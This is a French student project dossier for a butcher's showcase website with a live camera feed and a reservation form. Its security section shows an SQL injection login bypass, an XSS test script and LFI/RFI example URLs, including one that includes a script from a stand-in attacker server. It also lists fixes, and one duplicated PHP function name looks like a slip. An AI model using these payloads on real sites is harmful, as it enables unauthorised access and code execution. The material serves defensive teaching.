

Projet professionnel

Sommaire:

- Liste des compétences du référentiel
- Résumé du projet
- Cahier des charges, Expression des besoins
- Spécifications techniques
- Réalisations
- Jeu d'Essai
- Veille technologique
- Sécurité
- Recherches

Liste des compétences du référentiel

Activité type 1 « Développer la partie front-end d'une application web ou web mobile en intégrant les recommandations de sécurité »

- Maquetter une application
- Réaliser une interface utilisateur web statique et adaptable
- Développer une interface utilisateur web dynamique

Activité type 2 « Développer la partie back-end d'une application web ou web mobile en intégrant les recommandations de sécurité »

- Développer les composants d'accès aux données
- Développer la partie back-end d'une application web ou web mobile

Résumé du projet

C'est un artisan traiteur qui possède une boucherie à Saint-Zacharie et voudrait un site vitrine à son image, il souhaite avoir un site pouvant être visité sur la plupart des plateformes.

Il souhaiterait fixer des caméras dans ses banques à viande pour que les clients puissent visionner la marchandise à l'aide du flux vidéo retransmis sur son site et d'être informé en direct en permettant aux clients de réserver une part particulière grâce à un formulaire leur servant de "click and collect".

Il sera possible de se connecter grâce à un système de connexion pour accéder à son panel administrateur.

Le panel administrateur lui permettra de consulter ces articles, les modifier, les supprimer, de consulter les réservations de la journée ainsi que les informations contenues dans le formulaire afin de pouvoir contacter un client en cas de problème. Il veut pouvoir couper le flux vidéo de ces banques chaque soir sur son panel administrateur.

Il faut vraiment prendre en compte l'adaptabilité du site car l'artisan veut dédier une tablette à son utilisation.

Cahier des charges / Expression des besoins

Cahier des charges:

Le but du projet est de réaliser un site vitrine pour un artisan afin d'afficher en ligne sa marchandise.

Le propriétaire dispose déjà d'un logo et d'une bannière réalisée préalablement en amont.

Le site présentera le magasin et son histoire, une galerie photo contenant des images issues de la boucherie et certains produits du magasin, un espace lié aux articles écrits pour la boucherie par le propriétaire, une section disposant d'un flux vidéo permettant aux visiteurs du site de visionner en temps réel la banque de nourriture de l'artisan, accompagné d'un formulaire permettant aux visiteurs de réserver au jour même une certaine part spécifique à l'instant "T", en indiquant le nom, prénom, numéro de téléphone, adresse mail, heure de récupération du produit, le type de viande ainsi que le nombre de parts voulues.

Il sera possible d'accéder aux différentes parties du site grâce à une barre de navigation contenant le logo du magasin ainsi que les différents liens de la page.

Les informations du magasin seront affichées en bas de la page et contiendront le nom de la boucherie, l'adresse, le numéro de téléphone ainsi que l'adresse mail du boucher; Tout cela sera en dessous de la bannière graphique du magasin.

Le propriétaire aura la possibilité de se connecter à un panel administrateur à l'aide de ses identifiants, ce qui lui permettra de rédiger des articles, de modifier et de supprimer ces derniers.

Le propriétaire pourra consulter aussi les réservations faites par les clients, et aura le droit de supprimer celles-ci si un client doit se désister. Le propriétaire veut aussi être capable d'ajouter des photos dans sa galerie pour que ses clients puissent les consulter.

Le propriétaire stipule que le site doit être adaptable à la plupart des supports numériques car il souhaiterait utiliser une tablette pour consulter son site web (et qu'il soit accessible à ces clients) ainsi que de se connecter à son panel administrateur et faire des actions sur son site à partir de celle-ci.

Expression des besoins:

Le prestataire veut que son site:

- Affiche son magasin, du contenu comme des photos et des articles
- Informe les visiteurs de sa localisation et de ses coordonnées.
- Soit adaptable à la plupart des supports numériques, en front et en back office
- Permet d'afficher aux visiteurs un flux vidéo et un formulaire qu'ils doivent remplir pour réserver une part de viande spécifique.
- Ai un système lui permettant de se connecter au panel administrateur
- Dispose d'un panel administrateur dans le but de gérer ses articles, ses photos et ses réservations

Spécifications techniques

Nous utiliserons la technologie web HTML pour structurer le site ainsi que du CSS pour ajouter du style.

Nous avons besoin de stocker des identifiants, des éléments du site, c'est pourquoi nous allons utiliser un système de gestion de base de données, qui sera PhpMyAdmin.

Pour pouvoir récupérer, insérer et modifier des informations dans la base de données, il faut utiliser du SQL pour envoyer des requêtes.

PHP servira à réaliser les composants d'accès aux données, pour récupérer celles-ci et les comparer.

Javascript sera utile pour utiliser des librairies comme JQuery & Ajax (Qui serviront à implémenter du dynamisme sur le site, comme empêcher le rafraîchissement à chaque action sur la page)

Réalisations

Jeu d'essais

Avant d'effectuer un jeu d'essai, qu'est-ce qu'un test ?

D'une manière plus générale, le test désigne toutes les activités qui consistent à rechercher des informations quant à la qualité du système afin de permettre la prise de décisions.

- Test Unitaire:

En programmation informatique, le test unitaire est une procédure permettant de vérifier le bon fonctionnement d'une partie précise d'un logiciel ou d'une portion d'un programme.
(appelée « unité » ou « module »)

L'écriture des tests unitaires a longtemps été considérée comme une tâche secondaire. Cependant, les méthodes Extreme programming (XP) ou Test Driven Development (TDD) ont remis les tests unitaires, appelés « tests du programmeur », au centre de l'activité de programmation.

- Test d'intégration:

Dans le monde du développement informatique, le test d'intégration est une phase de tests, précédée par les tests unitaires et généralement suivie par les tests de validation, vérifiant le bon fonctionnement d'une partie précise d'un logiciel ou d'une portion d'un programme (appelée « unité » ou « module ») ; dans le test d'intégration, chacun des modules indépendants du logiciel est assemblé et testé dans l'ensemble.

L'objectif de chaque phase de test est de détecter les erreurs qui n'ont pas pu être détectées lors de la précédente phase.

Pour cela, le test d'intégration a pour cible de détecter les erreurs non détectables par le test unitaire.

Le test d'intégration permet également de vérifier l'aspect fonctionnel, les performances et la fiabilité du logiciel. L'intégration fait appel en général à un système de gestion de versions, et éventuellement à des programmes d'installation. Cela permet d'établir une nouvelle version, fondée soit sur une version de maintenance, soit sur une version de développement.

- Test fonctionnels:

Un test fonctionnel permet de tester une fonctionnalité (la connexion d'un utilisateur par exemple). Il ne teste pas le rendu en tant que tel même si ces notions peuvent se croiser. Ces fonctionnalités sont testées via des parcours en simulant les actions de l'utilisateur (clics, saisies claviers, mouvement de souris, ...).

Les tests fonctionnels sont faits tout au long de la vie du projet, et ce dès le développement de la première fonctionnalité.

Les tests fonctionnels sont faits pour s'assurer que le service que l'on souhaite mettre à disposition de l'utilisateur fonctionnera quand celui-ci l'utilisera.

Les tests manuels sont chronophages, laborieux et répétitifs. Les automatiser fait gagner du temps aux testeurs qui délèguent l'exécution des tests principaux.

Le jeu d'essai est donc un test fonctionnel, dans le but de vérifier le bon fonctionnement de l'application.

Jeu d'essai du système de connexion

Action	Valeurs	Résultat

Veille Technologique

Point **Sécurité**

Les failles web connues :

Injection SQL :

La faille SQLi, abréviation de SQL Injection, soit injection SQL en français, est un groupe de méthodes d'exploitation de faille de sécurité d'une application interagissant avec une base de données. Elle permet d'injecter dans la requête SQL en cours un morceau de requête non prévu par le système et pouvant compromettre la sécurité.

/!\ - Il existe plusieurs types d'injection SQL - /!

- Méthode Blind Based
- Méthode Error Based
- Méthode Union Based
- Méthode Stacked Queries

(La plus dangereuse, profitant d'une erreur de configuration du SGBDR pour exécuter n'importe quelle requête)

Exemple d'injection SQL :

Considérons un site web dynamique (programmé en PHP dans cet exemple) qui dispose d'un système permettant aux utilisateurs possédant un nom d'utilisateur et un mot de passe valides de se connecter.

Ce site utilise la requête SQL suivante pour identifier un utilisateur:

```
SELECT uid FROM Users WHERE name = '(nom)' AND password = '(mot de passe hashé)';
```

Attaquer la requête:

Imaginons à présent que le script PHP exécutant cette requête ne vérifie pas les données entrantes pour garantir sa sécurité. Un hacker pourrait alors fournir les informations suivantes:

Utilisateur: Dupont';--

Mot de passe: n'importe lequel

La requête devient:

```
SELECT uid FROM Users WHERE name = 'Dupont';--' AND password = '(mot de passe)';
```

Les caractères '--' marquent le début d'un commentaire en SQL.

La requête est donc équivalente à:

```
SELECT uid FROM Users WHERE name = 'Dupont';
```

L'attaquant peut alors se connecter sous l'utilisateur Dupont avec n'importe quel mot de passe. Il s'agit d'une injection de SQL réussie, car l'attaquant est parvenu à injecter les caractères qu'il voulait pour modifier le comportement de la requête.

La Solution:

La première solution consiste à échapper les caractères spéciaux contenus dans les chaînes de caractères entrées par l'utilisateur.

En PHP on peut utiliser pour cela la fonction `mysqli_real_escape_string`, qui transformera la chaîne `'--` en `\'--`.

La requête deviendrait alors:

```
SELECT uid FROM Users WHERE name = 'Dupont\' -- ' AND password = '(mot de passe)';
```

L'apostrophe de fin de chaîne ayant été correctement dé-spécialisée en la faisant précéder d'un caractère « \ ».

L'échappement peut aussi se faire (suivant le SGBD utilisé) en doublant les apostrophes.

La marque de commentaire fera alors partie de la chaîne, et finalement le serveur SQL répondra qu'il n'y a aucune entrée dans la base de données correspondant à un utilisateur Dupont' -- avec ce mot de passe.

ou

La seconde solution consiste à utiliser des requêtes préparées: dans ce cas, une compilation de la requête est réalisée avant d'y insérer les paramètres et de l'exécuter, ce qui empêche un éventuel code inséré dans les paramètres d'être interprété.

`(Requete PDO::prepare())`

De nombreux frameworks sont équipés d'un ORM (Mapping Objet-Relationnel) qui se charge entre autres de préparer les requêtes.

Cross-site scripting :

Le cross-site scripting (abrégé XSS) est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs web visitant la page.

Les possibilités des XSS sont très larges puisque l'attaquant peut utiliser tous les langages pris en charge par le navigateur (JavaScript, Java...) et de nouvelles possibilités sont régulièrement découvertes notamment avec l'arrivée de nouvelles technologies comme HTML5.

Il est par exemple possible de rediriger vers un autre site pour de l'hameçonnage ou encore de voler la session en récupérant les cookies.

Le cross-site scripting est abrégé XSS pour ne pas être confondu avec le CSS (feuilles de style), X se lisant « cross » (croix) en anglais.

Le principe est d'injecter des données arbitraires dans un site web, par exemple en déposant un message dans un forum, ou par des paramètres d'URL.

Si ces données arrivent telles quelles dans la page web transmise au navigateur (par les paramètres d'URL, un message posté...) sans avoir été vérifiées, alors il existe une faille: on peut s'en servir pour faire exécuter du code malveillant en langage de script (du JavaScript le plus souvent) par le navigateur web qui consulte cette page.

La détection de la présence d'une faille XSS peut se faire par exemple en entrant un script Javascript dans un champ de formulaire ou dans une URL:

```
<script>alert('bonjour')</script>
```

Si une boîte de dialogue apparaît, on peut en conclure que l'application Web est sensible aux attaques de type XSS.

Risques :

L'exploitation d'une faille de type XSS permettrait à un intrus de réaliser les opérations suivantes:

- Redirection (parfois de manière transparente) de l'utilisateur (souvent dans un but d'hameçonnage)
- Vol d'informations, par exemple sessions et cookies.
- Actions sur le site faillible, à l'insu de la victime et sous son identité (envoi de messages, suppression de données...)
- Rendre la lecture d'une page difficile (boucle infinie d'alertes par exemple).

Comment se protéger des failles XSS :

- Retraiter systématiquement le code HTML produit par l'application avant l'envoi au navigateur
- Filtrer les variables affichées ou enregistrées avec des caractères '<' et '>' (en CGI comme en PHP).

De façon plus générale, donner des noms préfixés (avec par exemple le préfixe "us" pour user string) aux variables contenant des chaînes venant de l'extérieur pour les distinguer des autres, et ne jamais utiliser aucune des valeurs correspondantes dans une chaîne exécutable (en particulier une chaîne SQL, qui peut aussi être ciblée par une injection SQL d'autant plus dangereuse) sans filtrage préalable.

En PHP:

- utiliser la fonction `htmlspecialchars()`, qui filtre les '<' et '>'
- utiliser la fonction `htmlspecialchars()`, qui est identique à `htmlspecialchars()`, sauf qu'elle filtre tous les caractères équivalents au codage HTML ou JavaScript.

Il existe des bibliothèques qui permettent de filtrer efficacement du contenu balisé issu de l'utilisateur (systèmes de publication).

Par ailleurs, il est également possible de se protéger des failles de type XSS à l'aide d'équipements réseaux dédiés tels que les pare-feux applicatifs. Ces derniers permettent de filtrer l'ensemble des flux HTTP afin de détecter les requêtes suspectes.

Local/Remote File Inclusion (LFI/RFI)

L'objet de l'attaque, comme son nom l'indique, est d'inclure un fichier local (LFI) ou distant (RFI) au sein d'une ressource accessible depuis un SI. L'intérêt est multiple :

Dans le cas d'une LFI, cela permet par exemple:

- D'accéder au code source de fichiers privés stockés sur le serveur ciblé par l'attaque
- D'exécuter un script disponible sur le serveur dans un contexte non conventionnel (non prévu par le SI)

Dans le cas d'une RFI, cela permet par exemple:

- De faire exécuter par l'application un script stocké sur un serveur distant et construit sûr-mesure par le pirate
- De défigurer le site

Ces types d'attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. Mais ces vulnérabilités existent bel et bien, il est donc intéressant de connaître des méthodes d'attaques pour en mesurer la gravité.

Cette vulnérabilité est aussi couramment appelée "faille d'include" (en rapport avec le nom de la fonction PHP utilisée pour inclure un flux).

Comment détecter si une entrée utilisateur est vulnérable en PHP:

Il suffit de regarder chaque occurrence d'appel aux fonctions suivante:

- include()
- require()
- include_once()
- require_once()

Et vérifier si le paramètre passé à la fonction est directement ou indirectement une entrée utilisateur, si c'est le cas votre application est sûrement vulnérable.

- LFI :

Imaginons qu'il existe un fichier nommé "config.xml" dans un sous-dossier "database", il serait possible d'afficher son contenu en appelant la ressource comme il suit:

<http://localhost/lfi.php?page=database/config.xml>

- RFI :

Au lieu d'inclure un fichier local, il est possible de passer en paramètre une url pointant vers un script malicieux développé par un pirate.

<http://localhost/rfi.php?page=http://serveur-pirate.net/exploit.php>

Ce script sera récupéré par l'application et exécuté puis rendu dans la page résultante.

Résultat des Recherches

.